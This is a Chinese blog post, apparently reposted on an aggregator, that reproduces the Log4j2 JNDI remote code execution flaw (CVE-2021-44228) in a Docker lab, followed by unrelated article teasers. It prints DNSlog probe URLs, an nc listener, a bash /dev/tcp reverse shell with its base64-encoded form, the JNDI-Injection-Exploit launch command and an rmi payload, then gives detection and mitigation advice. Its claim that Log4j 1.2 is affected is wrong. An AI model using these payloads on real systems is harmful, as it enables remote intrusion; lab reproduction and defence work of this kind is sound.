CVE重要通用漏洞复现java phpCVE-2021-44228

news2024/11/16 10:50:16

在进行漏洞复现之前我们需要在linux虚拟机上进行docker的安装   我不喜欢win上安因为不知道为什么总是和我的vmware冲突 

然后我的kali内核版本太低 我需要重新安装一个新的linux 并且配置网络 我相信这会话费我不少时间

查看版本 uname -a  

需要5.5或以上的版本

看错了浪费我很多时间 5.1 以上就行 服了

docker安装教程:【Docker】Linux安装Docker(极简版) - 知乎 (zhihu.com)

这个安装方法其实不如=这个kali下对Docker的详细安装_kali安装docker-CSDN博客

Usage:
docker [OPTIONS] COMMAND [arg...]
       docker daemon [ --help | ... ]
       docker [ --help | -v | --version ]
A
self-sufficient runtime for containers.
 
Options:
  --config=~/.docker              Location of client config files  #客户端配置文件的位置
  -D, --debug=false               Enable debug mode  #启用Debug调试模式
  -H, --host=[]                   Daemon socket(s) to connect to  #守护进程的套接字(Socket)连接
  -h, --help=false                Print usage  #打印使用
  -l, --log-level=info            Set the logging level  #设置日志级别
  --tls=false                     Use TLS; implied by--tlsverify  #
  --tlscacert=~/.docker/ca.pem    Trust certs signed only by this CA  #信任证书签名CA
  --tlscert=~/.docker/cert.pem    Path to TLS certificate file  #TLS证书文件路径
  --tlskey=~/.docker/key.pem      Path to TLS key file  #TLS密钥文件路径
  --tlsverify=false               Use TLS and verify the remote  #使用TLS验证远程
  -v, --version=false             Print version information and quit  #打印版本信息并退出
 
Commands:
    attach    Attach to a running container  #当前shell下attach连接指定运行镜像
    build     Build an image from a Dockerfile  #通过Dockerfile定制镜像
    commit    Create a new image from a container's changes  #提交当前容器为新的镜像
    cp          Copy files/folders from a container to a HOSTDIR or to STDOUT  #从容器中拷贝指定文件或者目录到宿主机中
    create    Create a new container  #创建一个新的容器,同run 但不启动容器
    diff      Inspect changes on a container's filesystem  #查看docker容器变化
    events    Get real time events from the server#从docker服务获取容器实时事件
    exec      Run a command in a running container#在已存在的容器上运行命令
    export    Export a container's filesystem as a tar archive  #导出容器的内容流作为一个tar归档文件(对应import)
    history   Show the history of an image  #展示一个镜像形成历史
    images    List images  #列出系统当前镜像
    import    Import the contents from a tarball to create a filesystem image  #从tar包中的内容创建一个新的文件系统映像(对应export)
    info      Display system-wide information  #显示系统相关信息
    inspect   Return low-level information on a container or image  #查看容器详细信息
    kill      Kill a running container  #kill指定docker容器
    load      Load an image from a tar archive or STDIN  #从一个tar包中加载一个镜像(对应save)
    login     Register or log in to a Docker registry#注册或者登陆一个docker源服务器
    logout    Log out from a Docker registry  #从当前Docker registry退出
    logs         Fetch the logs of a container  #输出当前容器日志信息
    pause     Pause all processes within a container#暂停容器
    port      List port mappings or a specific mapping for the CONTAINER  #查看映射端口对应的容器内部源端口
    ps          List containers  #列出容器列表
    pull      Pull an image or a repository from a registry  #从docker镜像源服务器拉取指定镜像或者库镜像
    push      Push an image or a repository to a registry  #推送指定镜像或者库镜像至docker源服务器
    rename    Rename a container  #重命名容器
    restart   Restart a running container  #重启运行的容器
    rm          Remove one or more containers  #移除一个或者多个容器
    rmi          Remove one or more images  #移除一个或多个镜像(无容器使用该镜像才可以删除,否则需要删除相关容器才可以继续或者-f强制删除)
    run         Run a command in a new container  #创建一个新的容器并运行一个命令
    save      Save an image(s) to a tar archive#保存一个镜像为一个tar包(对应load)
    search    Search the Docker Hub for images  #在docker
hub中搜索镜像
    start     Start one or more stopped containers#启动容器
    stats     Display a live stream of container(s) resource usage statistics  #统计容器使用资源
    stop      Stop a running container  #停止容器
    tag       Tag an image into a repository  #给源中镜像打标签
    top       Display the running processes of a container #查看容器中运行的进程信息
    unpause   Unpause all processes within a container  #取消暂停容器
    version   Show the Docker version information#查看容器版本号
    wait      Block until a container stops, then print its exit code  #截取容器停止时的退出状态值

Apache Log4j2 RCE原理验证和复现(附CVE-2021-4101应急处置)、

编号:CVE-2021-44228

影响版本:影响Log4j 1.2版本

然后我们先开始我们的漏洞检测 检测一个网站有没有这个漏洞

安装好docker照下图输入代码

然后查看你的虚拟机地址 访问192.168.245.132:38080 我的是这个

然后访问后如下图

然后我们打开bp 开启拦截点击???

然后我们需要构造一个payload 需要利用一个网站 来检测DNS分析没有

也就是这个我们创建一个网站 然后把网站放进去 我来拿举个例子

http://192.168.245.132:38080/hello?payload=$[jndi:ldap://r2ujl1.dnslog.cn}

http://192.168.245.132:38080/hello?payload=$[jndi :ldap://vh6vhl.dnslog.cn/exp}http://192.168.245.132:38080/hello?payload=${jndi:ldap://${sys:java.version}.tpv6me.dnslog.cn }

失败了404

换成urlcode编码就行

然后刚刚这个网址DNSLog Platform有回显就代表有这个漏洞

我这边一直不回显 网上找了3个payload格式都不行 应该是这个网站出什么问题了

但是你们可能觉得没有什么用 别急 接下来我们开始提权 关于提权原理 

我觉得这个讲的是最好的  最通俗易懂的 

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_log4j漏洞复现-CSDN博客

漏洞利用

下载软件

这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,下载地址为https://github.com/bkfish/Apache-Log4j-Learning/tree/main
应用工具JNDI-Injection-Exploit搭建服务:格式:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”

这里的命令是想要靶机运行的命令,-A后放的是发出攻击的电脑的ip,也是存放-C后“命令”的ip地址。
接下来要实现反弹shell,可以用命令

bash -i >& /dev/tcp/ip/port 0>&1

用脚本开始建造的过程

1. 设置监听端口

nc -lnvp 4444

2. bash -i >& /dev/tcp/192.168.245.132/4444 0>&1 将这个命令 利用base64位编码 

bash -i >& /dev/tcp/192.168.245.132/4444 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NS4xMzIvNDQ0NKAwPiYx

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NS4xMzIvNDQ0NKAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.245.132

将上面代码输入(在那个工具包里面执行命令行 提醒下小白)

同时我们再用bp抓一个我们点击???的包包 并且改一下将 脚本生成的网址

再次生成一个payload并进行转码

用下面这个图来构造payload

${jndi:rmi://172.17.0.1:1099/tpbnp2}

监听界面出现下图就是成功

防范方法

复现时遇到的问题
1.环境安装时总遇到问题
2.打开DNSlog.cn网站时遇到很多问题
3.使用burp抓包与发包时遇到问题

排查
1.可以通过检查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符来发现可能的攻击行为
2.pom版本检查
3.各种安全产品

防御方法
1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。由于Java RMI,的实现依赖于JVM,所以可以通过调用JVM来修改。
2.设置log4j2.formatMsgNoLookups=True。
3.采用waf对请求流量中的${jndi进行拦截。通过对拦截JNDI语句来防止JNDI注入。
4.禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。
这个博客方法多 

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_log4j漏洞复现-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1402704.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

微信小程序-03

小程序官方把 API 分为了如下 3 大类: 事件监听 API 特点:以 on 开头,用来监听某些事件的触发 举例:wx.onWindowResize(function callback) 监听窗口尺寸变化的事件 同步 API 特点1:以 Sync 结尾的 API 都是同步 API 特…

使用多进程库计算科学数据时出现内存错误

问题背景 我经常使用爬虫来做数据抓取,多线程爬虫方案是必不可少的,正如我在使用 Python 进行科学计算时,需要处理大量存储在 CSV 文件中的数据。由于每个处理过程需要很长时间才能完成,而您拥有多核处理器,所以您尝试…

SpringBoot教务管理源码

技术框架: springboot mybatis layui shiro jquery react 运行环境: jdk8 mysql5.7 IntelliJ IDEA maven nginx 系统介绍: 教务管理系统是一个基于网络的在线管理平台 , 帮助学校管理教务系统, 用一个账号解决学校教…

聪明的小羊肖恩(双指针)

题目 import java.util.Arrays; import java.util.Scanner;public class Main {public static long calc(long[] num,int max) { int l 0;int r num.length-1;long res 0;while(l<r) {while(l<r && num[l]num[r]>max) {r--;}res(r-l);l;}return res;}pub…

LeetCode---380周赛

题目列表 3005. 最大频率元素计数 3006. 找出数组中的美丽下标 I 3007. 价值和小于等于 K 的最大数字 3008. 找出数组中的美丽下标 II 一、最大频率元素计数 这题就是个简单的计数题&#xff0c;正常遍历统计数据即可&#xff0c;关键是你要会写代码逻辑。 代码如下&…

CocoaPods的安装和使用

前言 本篇文章讲述CocoaPods的安装和使用 安装cocoaPods 如果电脑没有安装过cocoaPods&#xff0c;需要先安装&#xff0c;使用下面的命令&#xff1a; sudo gem install cocoapods输入密码后开始安装&#xff0c;需要等待。。。但是我这里报错了。 The last version of d…

本地读取Excel文件并进行数据压缩传递到服务器

在项目开发过程中&#xff0c;读取excel文件&#xff0c;可能存在几百或几百万条数据内容&#xff0c;那么对于大型文件来说&#xff0c;我们应该如何思考对于大型文件的读取操作以及性能的注意事项。 类库&#xff1a;Papa Parse - Powerful CSV Parser for JavaScript 第一步…

被施工现场折磨哭的我,真后悔没早点用这个方法!

在当今数字化时代&#xff0c;智慧工地的概念越来越受到重视。通过整合先进的技术和创新的解决方案&#xff0c;智慧工地不仅提高了工程施工效率&#xff0c;还加强了安全管理和资源利用。 客户案例一 广州某建筑公司在项目中部署了泛地缘科技推出的智慧工地大数据平台&#x…

ORB-SLAM 论文阅读

论文链接 ORB-SLAM 0. Abstract 本文提出了 ORB-SLAM&#xff0c;一种基于特征的单目同步定位和建图 (SLAM) 系统该系统对严重的运动杂波具有鲁棒性&#xff0c;允许宽基线环路闭合和重新定位&#xff0c;并包括全自动初始化选择重建的点和关键帧的适者生存策略具有出色的鲁棒…

浅谈大数据智能化技术在多个领域的应用实践

摘要 大数据智能化技术在当今信息社会中得到了广泛的应用。从金融、互联网电商、视频行业到垂直短视频领域&#xff0c;从工业互联网到云计算、边缘计算等领域&#xff0c;大数据智能化技术已经成为了企业竞争力的重要组成部分。技术实践、架构设计、指标体系、数据质量、数据分…

系统架构设计师教程(十二)信息系统架构设计理论与实践

信息系统架构设计理论与实践 12.1 信息系统架构基本概念及发展12.1.1 信息系统架构的概述12.1.2 信息系统架构的发展12.1.3 信息系统架构的定义 12.2 信息系统架构12.2.1 架构风格12.2.2 信息系统架构分类12.2.3 信息系统架构的一般原理12.2.4 信息系统常用4种架构模型12.2.5 企…

【Java】IDEA集成开发环境工具切换JDK和设置环境变量

欢迎来到《小5讲堂》 大家好&#xff0c;我是全栈小5。 这是《Java》序列文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对知识点的理解和掌握…

php基础学习之常量

php常量的基本概念 常量是在程序运行中的一种不可改变的量&#xff08;数据&#xff09;&#xff0c;常量一旦定义&#xff0c;通常不可改变&#xff08;用户级别&#xff09;。 php常量的定义形式 使用define函数&#xff1a;define("常量名字", 常量值);使用cons…

自定义注解与拦截器实现不规范sql拦截(自定义注解填充插件篇)

在自定义注解与拦截器实现不规范sql拦截&#xff08;拦截器实现篇&#xff09;中提到过&#xff0c;写了一个idea插件来辅助对Mapper接口中的方法添加自定义注解&#xff0c;这边记录一下插件的实现。 需求简介 在上一篇中&#xff0c;定义了一个自定义注解对需要经过where判…

【Coding】寒假每日一题Day.5. 互质数的个数

题目来源 题目来自于AcWing平台&#xff1a;https://www.acwing.com/problem/content/4971/ 以blog的形式记录程序设计算法学习的过程&#xff0c;仅做学习记录之用。 题目描述 输入输出格式与数据范围 样例 第一组&#xff1a; 2 516第二组&#xff1a; 12 711943936思路…

LINUX常用工具之sudo权限控制

一、Sudo基本介绍 sudo是Linux 中用于允许特定用户以超级用户或其他特权用户的身份执行特定的命令或任务。sudo 提供了一种安全的方法&#xff0c;使用户能够临时获取额外的权限&#xff0c;而不需要以完全超级用户的身份登录系统。sudo也可以用了设置黑名单命令清单&#xff…

实战 | SQL注入思路扩展

本文由掌控安全学院 - sbhglqy 投稿 一、资产搜集 我们都知道sql注入的传参有些是明文的&#xff0c;有些是经过编码或者加密的&#xff0c;所以我们搜索的时候不要仅限于inurl:.php?id1&#xff0c;可以额外的尝试搜搜1的base64编码值MQ&#xff0c;即可以搜索inurl:.php?…

万界星空科技MES系统的生产管理流程

对于生产型工厂来说&#xff0c;车间生产流程无疑是最重要的管理环节&#xff0c;繁琐的生产细节让企业很难找到合理的生产管理方法&#xff0c;导致人工效率低、错误多、成本高。如果想要解决这些问题&#xff0c;工厂就必须要有一套自己的生产管理系统&#xff0c;这样才能提…

(2021|ICLR,扩散先验,VE-SDE,逼真和忠实的权衡)SDEdit:使用随机微分方程引导图像合成和编辑

SDEdit: Guided Image Synthesis and Editing with Stochastic Differential Equations 公和众和号&#xff1a;EDPJ&#xff08;进 Q 交流群&#xff1a;922230617 或加 VX&#xff1a;CV_EDPJ 进 V 交流群&#xff09; 目录 0. 摘要 2. 背景&#xff1a;使用随机微分方程…

【HarmonyOS】体验鸿蒙电商平台的未来之旅!

从今天开始&#xff0c;博主将开设一门新的专栏用来讲解市面上比较热门的技术 “鸿蒙开发”&#xff0c;对于刚接触这项技术的小伙伴在学习鸿蒙开发之前&#xff0c;有必要先了解一下鸿蒙&#xff0c;从你的角度来讲&#xff0c;你认为什么是鸿蒙呢&#xff1f;它出现的意义又是…